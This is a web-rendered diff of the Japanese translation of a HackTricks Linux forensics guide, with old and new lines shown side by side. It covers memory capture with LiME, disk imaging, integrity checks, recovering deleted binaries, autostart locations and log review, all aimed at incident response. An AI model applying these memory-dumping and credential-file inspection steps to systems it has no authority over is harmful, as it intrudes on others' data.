<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を使って、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする**。
* **ハッキングテクニックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
</details> </details>
{% endhint %}

View file

@ -1,37 +1,38 @@
# Linuxフォレンジクス # Linux Forensics
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって駆動される**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスしてください 今すぐアクセスを取得
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>**htARTEHackTricks AWS Red Team Expert**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details> </details>
{% endhint %}
## 初期情報収集 ## 初期情報収集
### 基本情報 ### 基本情報
まず最初に**USB**に**良く知られたバイナリとライブラリ**が含まれていることが推奨されます単にUbuntuを取得して、_ /bin_、_ /sbin_、_ /lib_、および_ /lib64_のフォルダをコピーできます。次にUSBをマウントし、環境変数を変更してこれらのバイナリを使用します: まず、**良く知られたバイナリとライブラリが入ったUSB**を用意することをお勧めしますUbuntuを取得して、_ /bin_、_ /sbin_、_ /lib_、および_ /lib64_フォルダーをコピーするだけで済みます。次に、USBをマウントし、これらのバイナリを使用するように環境変数を変更します:
```bash ```bash
export PATH=/mnt/usb/bin:/mnt/usb/sbin export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64 export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
``` ```
一度システムを良いものや既知のバイナリを使用するように設定したら、**基本情報を抽出**することができます: システムを良好で既知のバイナリを使用するように設定したら、**基本的な情報を抽出し始める**ことができます:
```bash ```bash
date #Date and time (Clock may be skewed, Might be at a different timezone) date #Date and time (Clock may be skewed, Might be at a different timezone)
uname -a #OS info uname -a #OS info
@ -51,45 +52,45 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
``` ```
#### 疑わしい情報 #### 疑わしい情報
基本情報を取得する際に、次のような奇妙な点をチェックする必要があります: 基本情報を取得する際には、以下のような奇妙な事柄を確認する必要があります:
- **Rootプロセス** は通常、低いPIDで実行されます。そのため、大きなPIDで実行されているRootプロセスが見つかった場合は疑うべきです * **ルートプロセス**は通常低いPIDで実行されるため、大きなPIDを持つルートプロセスを見つけた場合は疑うべきです
- `/etc/passwd` 内にシェルを持たないユーザーの**登録されたログイン** を確認す * `/etc/passwd`内のシェルを持たないユーザーの**登録されたログイン**を確認しま
- `/etc/shadow` 内にシェルを持たないユーザーの**パスワードハッシュ** を確認する * シェルを持たないユーザーのために、`/etc/shadow`内の**パスワードハッシュ**を確認します
### メモリダンプ ### メモリダンプ
実行中のシステムのメモリを取得するには、[**LiME**](https://github.com/504ensicsLabs/LiME) を使用することをお勧めします。\ 実行中のシステムのメモリを取得するには、[**LiME**](https://github.com/504ensicsLabs/LiME)を使用することをお勧めします。\
**コンパイル** するには、被害者マシンが使用している**同じカーネル** を使用する必要があります。 **コンパイル**するには、被害者マシンが使用している**同じカーネル**を使用する必要があります。
{% hint style="info" %} {% hint style="info" %}
被害者マシンに **LiME やその他の何かをインストールすることはできない** ことを覚えておいてください。それにより、複数の変更が加えられます 被害者のマシンに**LiMEやその他のものをインストールすることはできない**ことを覚えておいてください。そうすると、いくつかの変更が加わります
{% endhint %} {% endhint %}
したがって、Ubuntuの同一バージョンがある場合は、`apt-get install lime-forensics-dkms` を使用できます\ したがって、同一のUbuntuバージョンがある場合は、`apt-get install lime-forensics-dkms`を使用できます\
それ以外の場合は、[**LiME**](https://github.com/504ensicsLabs/LiME) をgithub からダウンロードし、正しいカーネルヘッダーを使用してコンパイルする必要があります。被害者マシンの正確なカーネルヘッダー**取得する** には、単に`/lib/modules/<kernel version>` ディレクトリをあなたのマシンに**コピー** し、それを使用して LiME を**コンパイル** します: 他の場合は、githubから[**LiME**](https://github.com/504ensicsLabs/LiME)をダウンロードし、正しいカーネルヘッダーでコンパイルする必要があります。被害者マシンの**正確なカーネルヘッダー**取得するには、単に`/lib/modules/<kernel version>`ディレクトリを自分のマシンに**コピー**し、それを使用してLiMEを**コンパイル**します:
```bash ```bash
make -C /lib/modules/<kernel version>/build M=$PWD make -C /lib/modules/<kernel version>/build M=$PWD
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime" sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
``` ```
LiMEは3つの**フォーマット**をサポートしています: LiMEは3つの**フォーマット**をサポートしています:
- Rawすべてのセグメントが連結されたもの * Rawすべてのセグメントが連結されたもの
- PaddedRawと同じですが、右ビットにゼロが入っています) * PaddedRawと同じですが、右側のビットにゼロが追加されています)
- Limeメタデータを含む推奨フォーマット) * Limeメタデータ付きの推奨フォーマット)
LiMEは、`path=tcp:4444`のような方法を使用して、**ダンプをネットワーク経由で送信**することもできます。 LiMEは、`path=tcp:4444`のようなもので、システムに保存する代わりに**ネットワーク経由でダンプを送信する**こともできます。
### ディスクイメージング ### ディスクイメージング
#### シャットダウン #### シャットダウン
まず、**システムをシャットダウンする**必要があります。これは常に選択肢とは限りません。なぜなら、システムが企業がシャットダウンする余裕のない本番サーバーである場合があるからです。\ まず最初に、**システムをシャットダウンする**必要があります。これは常に選択肢ではなく、時にはシステムが会社がシャットダウンできないプロダクションサーバーであることがあります。\
システムをシャットダウンする方法には、**通常のシャットダウン**と**「プラグを抜く」シャットダウン**の2つがあります。前者は**プロセスが通常通り終了**し、**ファイルシステムが同期**されることを可能にしますが、**悪意のあるソフトウェア**が**証拠を破壊**する可能性もあります。後者の「プラグを抜く」アプローチは、**一部の情報が失われる**可能性があります(メモリのイメージをすでに取得しているため、失われる情報はほとんどありません)し、**悪意のあるソフトウェア**が何もできなくなります。したがって、**悪意のあるソフトウェア**が疑われる場合は、システムで**`sync`** **コマンド**を実行してプラグを抜いてください。 システムをシャットダウンするには**2つの方法**があります。**通常のシャットダウン**と**「プラグを抜く」シャットダウン**です。最初の方法では、**プロセスが通常通り終了する**ことを許可し、**ファイルシステム**が**同期される**ことを可能にしますが、同時に**マルウェア**が**証拠を破壊する**可能性もあります。「プラグを抜く」アプローチは**情報の損失**を伴う可能性があります(メモリのイメージをすでに取得しているため、失われる情報はあまりありません)し、**マルウェアは何もできる機会がありません**。したがって、**マルウェアの可能性がある**と**疑う**場合は、システムで**`sync`** **コマンド**を実行し、プラグを抜いてください。
#### ディスクのイメージを取得する #### ディスクのイメージを取得する
**ケースに関連する何かにコンピュータを接続する前に**、情報を変更しないように**読み取り専用でマウント**されることを確認する必要があります。 **ケースに関連する何かにコンピュータを接続する前に**、情報を変更しないように**読み取り専用でマウントされる**ことを確認することが重要です。
```bash ```bash
#Create a raw copy of the disk #Create a raw copy of the disk
dd if=<subject device> of=<image file> bs=512 dd if=<subject device> of=<image file> bs=512
@ -100,7 +101,7 @@ dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/med
``` ```
### ディスクイメージの事前分析 ### ディスクイメージの事前分析
データがない状態でディスクイメージを作成します データがこれ以上ないディスクイメージをイメージングする
```bash ```bash
#Find out if it's a disk image using "file" command #Find out if it's a disk image using "file" command
file disk.img file disk.img
@ -156,23 +157,23 @@ ThisisTheMasterSecret
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスしてください 今すぐアクセスを取得
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## 既知のマルウェアを検索 ## 既知のマルウェアを検索
### 変更されたシステムファイル ### 修正されたシステムファイル
Linuxは、潜在的に問題のあるファイルを見つけるために重要なシステムコンポーネントの整合性を確認するためのツールが用意されています。 Linuxは、システムコンポーネントの整合性を確保するためのツールを提供しており、潜在的に問題のあるファイルを特定するために重要です。
* **RedHatベースのシステム**:包括的なチェックには`rpm -Va`を使用します。 * **RedHatベースのシステム**: `rpm -Va`を使用して包括的なチェックを行います。
* **Debianベースのシステム**初期検証には`dpkg --verify`を使用し、その後`debsums | grep -v "OK$"``apt-get install debsums`を使用して`debsums`をインストールした後)を使用して問題を特定します。 * **Debianベースのシステム**: 初期検証には`dpkg --verify`を使用し、その後`debsums | grep -v "OK$"``apt-get install debsums`で`debsums`をインストールした後)を実行して問題を特定します。
### マルウェア/ルートキット検出ツール ### マルウェア/ルートキット検出ツール
マルウェアを見つけるのに役立つツールについては、次のページを参照してください: マルウェアを見つけるのに役立つツールについて学ぶには、以下のページをお読みください:
{% content-ref url="malware-analysis.md" %} {% content-ref url="malware-analysis.md" %}
[malware-analysis.md](malware-analysis.md) [malware-analysis.md](malware-analysis.md)
@ -180,12 +181,12 @@ Linuxには、潜在的に問題のあるファイルを見つけるために重
## インストールされたプログラムを検索 ## インストールされたプログラムを検索
DebianとRedHatの両方のシステムでインストールされたプログラムを効果的に検索するには、システムログやデータベースを活用し、一般的なディレクトリでの手動チェックを検討してください。 DebianおよびRedHatシステムでインストールされたプログラムを効果的に検索するには、システムログやデータベースを活用し、一般的なディレクトリでの手動チェックを併用することを検討してください。
* Debianの場合、パッケージのインストールに関する詳細を取得するために、_**`/var/lib/dpkg/status`**_と_**`/var/log/dpkg.log`**_を調査し、`grep`を使用して特定の情報をフィルタリングします。 * Debianの場合、_**`/var/lib/dpkg/status`**_および_**`/var/log/dpkg.log`**_を確認してパッケージインストールの詳細を取得し、`grep`を使用して特定の情報をフィルタリングします。
* RedHatユーザーは、`rpm -qa --root=/mntpath/var/lib/rpm`を使用してRPMデータベースをクエリし、インストールされたパッケージをリストします。 * RedHatユーザーは、`rpm -qa --root=/mntpath/var/lib/rpm`を使用してインストールされたパッケージのリストを取得できます。
これらのパッケージマネージャーの外で手動でインストールされたソフトウェアを特定するには、_**`/usr/local`**_、_**`/opt`**_、_**`/usr/sbin`**_、_**`/usr/bin`**_、_**`/bin`**_、_**`/sbin`**_などのディレクトリを調査します。ディレクトリリストをシステム固有のコマンドと組み合わせて使用し、既知のパッケージに関連付けられていない実行可能ファイルを特定することで、すべてのインストールされたプログラムを検索を強化します。 これらのパッケージマネージャーの外で手動でインストールされたソフトウェアを明らかにするために、_**`/usr/local`**_、_**`/opt`**_、_**`/usr/sbin`**_、_**`/usr/bin`**_、_**`/bin`**_、および_**`/sbin`**_のようなディレクトリを探索します。ディレクトリリストとシステム固有のコマンドを組み合わせて、既知のパッケージに関連付けられていない実行可能ファイルを特定し、インストールされたすべてのプログラムの検索を強化します。
```bash ```bash
# Debian package and log details # Debian package and log details
cat /var/lib/dpkg/status | grep -E "Package:|Status:" cat /var/lib/dpkg/status | grep -E "Package:|Status:"
@ -204,20 +205,20 @@ find / -type f -executable | grep <something>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって駆動される**ワークフローを簡単に構築し、**自動化**します。\
今すぐアクセスしてください 今すぐアクセスを取得
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## 削除された実行中のバイナリの回復 ## 削除された実行中のバイナリを復元する
/tmp/exec から実行され、その後削除されたプロセスを想像してください。それを抽出することが可能です /tmp/execから実行され、その後削除されたプロセスを想像してみてください。それを抽出することが可能です
```bash ```bash
cd /proc/3746/ #PID with the exec file deleted cd /proc/3746/ #PID with the exec file deleted
head -1 maps #Get address of the file. It was 08048000-08049000 head -1 maps #Get address of the file. It was 08048000-08049000
dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it
``` ```
## オートスタートの場所を調査する ## 自動起動場所の検査
### スケジュールされたタスク ### スケジュールされたタスク
```bash ```bash
@ -235,92 +236,92 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra
``` ```
### サービス ### サービス
マルウェアがインストールされている可能性のあるサービスのパス: マルウェアがサービスとしてインストールされる可能性のあるパス:
- **/etc/inittab**rc.sysinitなどの初期化スクリプトを呼び出し、さらに起動スクリプトに誘導します。 * **/etc/inittab**: rc.sysinitのような初期化スクリプトを呼び出し、さらに起動スクリプトに指示します。
- **/etc/rc.d/** および **/etc/rc.boot/**サービスの起動スクリプトが含まれており、後者は古いLinuxバージョンに見られます。 * **/etc/rc.d/** および **/etc/rc.boot/**: サービス起動用のスクリプトを含み、後者は古いLinuxバージョンで見られます。
- **/etc/init.d/**Debianなどの特定のLinuxバージョンで起動スクリプトを保存するために使用されます。 * **/etc/init.d/**: Debianのような特定のLinuxバージョンで起動スクリプトを保存するために使用されます。
- サービスは、Linuxのバリアントに応じて **/etc/inetd.conf** または **/etc/xinetd/** からも起動される可能性があります。 * サービスは、Linuxのバリアントに応じて **/etc/inetd.conf** または **/etc/xinetd/** を介しても有効化されることがあります。
- **/etc/systemd/system**システムおよびサービスマネージャースクリプト用のディレクトリ。 * **/etc/systemd/system**: システムおよびサービスマネージャースクリプト用のディレクトリ。
- **/etc/systemd/system/multi-user.target.wants/**:マルチユーザーランレベルで起動する必要があるサービスへのリンクが含まれています。 * **/etc/systemd/system/multi-user.target.wants/**: マルチユーザーランレベルで起動すべきサービスへのリンクを含みます。
- **/usr/local/etc/rc.d/**カスタムまたはサードパーティのサービス用。 * **/usr/local/etc/rc.d/**: カスタムまたはサードパーティのサービス用。
- **\~/.config/autostart/**:ユーザー固有の自動起動アプリケーション用であり、ユーザー向けのマルウェアの隠れた場所となる可能性があります。 * **\~/.config/autostart/**: ユーザー固有の自動起動アプリケーション用で、ユーザーをターゲットにしたマルウェアの隠れ場所になる可能性があります。
- **/lib/systemd/system/**インストールされたパッケージによって提供されるシステム全体のデフォルトユニットファイル。 * **/lib/systemd/system/**: インストールされたパッケージによって提供されるシステム全体のデフォルトユニットファイル。
### カーネルモジュール ### カーネルモジュール
マルウェアによってルートキットコンポーネントとして利用されるLinuxカーネルモジュールは、システム起動時にロードされます。これらのモジュールにとって重要なディレクトリとファイルは次のとおりです: Linuxカーネルモジュールは、マルウェアがルートキットコンポーネントとして利用することが多く、システム起動時にロードされます。これらのモジュールにとって重要なディレクトリとファイルは以下の通りです:
- **/lib/modules/$(uname -r)**:実行中のカーネルバージョン用のモジュールを保持します。 * **/lib/modules/$(uname -r)**: 実行中のカーネルバージョンのモジュールを保持します。
- **/etc/modprobe.d**:モジュールのロードを制御する構成ファイルが含まれています。 * **/etc/modprobe.d**: モジュールのロードを制御するための設定ファイルを含みます。
- **/etc/modprobe** および **/etc/modprobe.conf**グローバルモジュール設定用のファイル。 * **/etc/modprobe** および **/etc/modprobe.conf**: グローバルモジュール設定用のファイル。
### その他の自動起動場所 ### その他の自動起動場所
Linuxは、ユーザーログイン時に自動的にプログラムを実行するためのさまざまなファイルを使用しておりこれらは潜在的にマルウェアを隠す可能性があります: Linuxは、ユーザーログイン時にプログラムを自動的に実行するためのさまざまなファイルを使用し、マルウェアを隠す可能性があります:
- **/etc/profile.d/**\*、**/etc/profile**、および **/etc/bash.bashrc**すべてのユーザーログイン時に実行されます。 * **/etc/profile.d/**\*, **/etc/profile**、および **/etc/bash.bashrc**: すべてのユーザーログイン時に実行されます。
- **\~/.bashrc**、**\~/.bash\_profile**、**\~/.profile**、および **\~/.config/autostart**:ユーザー固有のファイルで、ユーザーのログイン時に実行されます。 * **\~/.bashrc**、**\~/.bash\_profile**、**\~/.profile**、および **\~/.config/autostart**: ユーザー固有のファイルで、ログイン時に実行されます。
- **/etc/rc.local**すべてのシステムサービスが起動した後に実行され、マルチユーザー環境への移行の終了を示します。 * **/etc/rc.local**: すべてのシステムサービスが起動した後に実行され、マルチユーザー環境への移行の終了を示します。
## ログの調査 ## ログの調査
Linuxシステムは、さまざまなログファイルを介してユーザーのアクティビティやシステムイベントを追跡します。これらのログは、不正アクセス、マルウェア感染、およびその他のセキュリティインシデントを特定するために重要です。主要なログファイルには次のものがあります: Linuxシステムは、さまざまなログファイルを通じてユーザーの活動やシステムイベントを追跡します。これらのログは、不正アクセス、マルウェア感染、その他のセキュリティインシデントを特定するために重要です。主要なログファイルには以下が含まれます:
- **/var/log/syslog**Debianまたは **/var/log/messages**RedHatシステム全体のメッセージとアクティビティをキャプチャします。 * **/var/log/syslog** (Debian) または **/var/log/messages** (RedHat): システム全体のメッセージや活動をキャプチャします。
- **/var/log/auth.log**Debianまたは **/var/log/secure**RedHat認証試行、成功および失敗したログインを記録します。 * **/var/log/auth.log** (Debian) または **/var/log/secure** (RedHat): 認証試行、成功したログインおよび失敗したログインを記録します。
- `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` を使用して関連する認証イベントをフィルタリングします。 * `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` を使用して関連する認証イベントをフィルタリングします。
- **/var/log/boot.log**:システムの起動メッセージが含まれています。 * **/var/log/boot.log**: システム起動メッセージを含みます。
- **/var/log/maillog** または **/var/log/mail.log**:メールサーバーのアクティビティを記録し、メール関連サービスの追跡に役立ちます。 * **/var/log/maillog** または **/var/log/mail.log**: メールサーバーの活動をログに記録し、メール関連サービスの追跡に役立ちます。
- **/var/log/kern.log**:エラーや警告を含むカーネルメッセージを保存します。 * **/var/log/kern.log**: カーネルメッセージを保存し、エラーや警告を含みます。
- **/var/log/dmesg**デバイスドライバーメッセージを保持します。 * **/var/log/dmesg**: デバイスドライバーメッセージを保持します。
- **/var/log/faillog**:失敗したログイン試行を記録し、セキュリティ侵害の調査を支援します。 * **/var/log/faillog**: 失敗したログイン試行を記録し、セキュリティ侵害の調査に役立ちます。
- **/var/log/cron**cronジョブの実行を記録します。 * **/var/log/cron**: cronジョブの実行をログに記録します。
- **/var/log/daemon.log**:バックグラウンドサービスのアクティビティを追跡します。 * **/var/log/daemon.log**: バックグラウンドサービスの活動を追跡します。
- **/var/log/btmp**失敗したログイン試行を文書化します。 * **/var/log/btmp**: 失敗したログイン試行を文書化します。
- **/var/log/httpd/**Apache HTTPDのエラーおよびアクセスログが含まれています。 * **/var/log/httpd/**: Apache HTTPDのエラーログとアクセスログを含みます。
- **/var/log/mysqld.log** または **/var/log/mysql.log**MySQLデータベースのアクティビティを記録します。 * **/var/log/mysqld.log** または **/var/log/mysql.log**: MySQLデータベースの活動をログに記録します。
- **/var/log/xferlog**FTPファイル転送を記録します。 * **/var/log/xferlog**: FTPファイル転送を記録します。
- **/var/log/**:ここで予期しないログを常にチェックしてください。 * **/var/log/**: ここで予期しないログを常に確認してください。
{% hint style="info" %} {% hint style="info" %}
Linuxシステムのログと監査サブシステムは、侵入やマルウェアのインシデントで無効化または削除される可能性があります。Linuxシステムのログは一般的に悪意のある活動に関する最も有用な情報のいくつかを含んでいるため、侵入者は定期的にそれらを削除します。したがって、利用可能なログファイルを調査する際には、削除や改ざんの兆候となる欠落や順序の乱れを探すことが重要です。 Linuxシステムのログと監査サブシステムは、侵入やマルウェアインシデントの際に無効化または削除されることがあります。Linuxシステムのログは、悪意のある活動に関する最も有用な情報を含むことが一般的であるため、侵入者はそれらを定期的に削除します。したがって、利用可能なログファイルを調査する際には、削除や改ざんの兆候である可能性のあるギャップや順序が乱れたエントリを探すことが重要です。
{% endhint %} {% endhint %}
**Linuxは各ユーザーのコマンド履歴を維持**しており、以下に保存されています: **Linuxは各ユーザーのコマンド履歴を保持します**。保存先は以下の通りです:
- \~/.bash\_history * \~/.bash\_history
- \~/.zsh\_history * \~/.zsh\_history
- \~/.zsh\_sessions/\* * \~/.zsh\_sessions/\*
- \~/.python\_history * \~/.python\_history
- \~/.\*\_history * \~/.\*\_history
さらに、`last -Faiwx` コマンドを使用してユーザーログインのリストを取得できます。未知または予期しないログインがあるかどうかを確認してください。 さらに、`last -Faiwx` コマンドはユーザーログインのリストを提供します。未知または予期しないログインがないか確認してください。
追加の特権を付与できるファイルをチェックしてください 追加の権限を付与できるファイルを確認します
- 予期しないユーザー特権が付与されている可能性があるかどうかを確認するために、`/etc/sudoers` を確認してください * 予期しないユーザー権限が付与されている可能性があるため、`/etc/sudoers` を確認します
- 予期しないユーザー特権が付与されている可能性があるかどうかを確認するために、`/etc/sudoers.d/` を確認してください * 予期しないユーザー権限が付与されている可能性があるため、`/etc/sudoers.d/` を確認します
- 異常なグループメンバーシップや権限を特定するために、`/etc/groups` を調べてください * 異常なグループメンバーシップや権限を特定するために、`/etc/groups` を調査します
- 異常なグループメンバーシップや権限を特定するために、`/etc/passwd` を調べてください * 異常なグループメンバーシップや権限を特定するために、`/etc/passwd` を調査します
一部のアプリケーションは独自のログを生成することがあります: 一部のアプリも独自のログを生成します:
- **SSH**_\~/.ssh/authorized\_keys_ および _\~/.ssh/known\_hosts_ を調べて、許可されていないリモート接続を見つけます。 * **SSH**: 不正なリモート接続のために _\~/.ssh/authorized\_keys_ と _\~/.ssh/known\_hosts_ を調査します。
- **Gnomeデスクトップ**Gnomeアプリケーションを介して最近アクセスされたファイルを示す _\~/.recently-used.xbel_ を調べてください * **Gnomeデスクトップ**: Gnomeアプリケーションを介して最近アクセスされたファイルのために _\~/.recently-used.xbel_ を確認します
- **Firefox/Chrome**怪しい活動を示すために、_\~/.mozilla/firefox_ または _\~/.config/google-chrome_ でブラウザの履歴とダウンロードをチェックしてください * **Firefox/Chrome**: 疑わしい活動のために _\~/.mozilla/firefox_ または _\~/.config/google-chrome_ でブラウザの履歴とダウンロードを確認します
- **VIM**:アクセスされたファイルパスや検索履歴などの使用詳細を示す _\~/.viminfo_ を確認してください * **VIM**: アクセスされたファイルパスや検索履歴などの使用詳細のために _\~/.viminfo_ を確認します
- **Open Office**:侵害されたファイルを示す可能性のある最近のドキュメントアクセスをチェックしてください * **Open Office**: 侵害されたファイルを示す可能性のある最近の文書アクセスを確認します
- **FTP/SFTP**:許可されていないファイル転送を示す _\~/.ftp\_history_ または _\~/.sftp\_history_ のログを確認してください * **FTP/SFTP**: 不正なファイル転送の可能性があるため、_ \~/.ftp\_history_ または _\~/.sftp\_history_ のログを確認します
- **MySQL**実行されたMySQLクエリを示す _\~/.mysql\_history_ を調査して、許可されていないデータベースアクティビティを明らかにすることができます。 * **MySQL**: 不正なデータベース活動を明らかにする可能性のある実行されたMySQLクエリのために _\~/.mysql\_history_ を調査します。
- **Less**:表示されたファイルや実行されたコマンドなどの使用履歴を分析する _\~/.lesshst_ を確認してください * **Less**: 表示されたファイルや実行されたコマンドを含む使用履歴のために _\~/.lesshst_ を分析します
- **Git**:リポジトリへの変更を示す _\~/.gitconfig_ およびプロジェクト _.git/logs_ を調べてください * **Git**: リポジトリの変更のために _\~/.gitconfig_ とプロジェクトの _.git/logs_ を調査します
### USBログ ### USBログ
[**usbrip**](https://github.com/snovvcrash/usbrip) は、Linuxログファイルディストリビューションに応じて `/var/log/syslog*` または `/var/log/messages*`を解析してUSBイベント履歴テーブルを作成する、Python 3で書かれた小さなソフトウェアです。 [**usbrip**](https://github.com/snovvcrash/usbrip) は、Linuxログファイル(ディストリビューションに応じて `/var/log/syslog*` または `/var/log/messages*`を解析してUSBイベント履歴テーブルを構築するために純粋なPython 3で書かれた小さなソフトウェアです。
**使用されたすべてのUSBデバイスを把握することは重要**であり、許可されたUSBデバイスのリストを持っていると、そのリストに含まれていないUSBデバイスの使用を見つけるのに役立ちます。 **使用されたすべてのUSBを知ることは興味深い**ことであり、"違反イベント"そのリストに含まれていないUSBの使用を見つけるために、承認されたUSBのリストがあるとさらに有用です。
### インストール ### インストール
```bash ```bash
@ -335,37 +336,38 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR
usbrip ids download #Downlaod database usbrip ids download #Downlaod database
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
``` ```
更多示例和信息请查看github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) More examples and info inside the github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 可轻松构建和**自动化工作流程**,使用全球**最先进**的社区工具。\ \
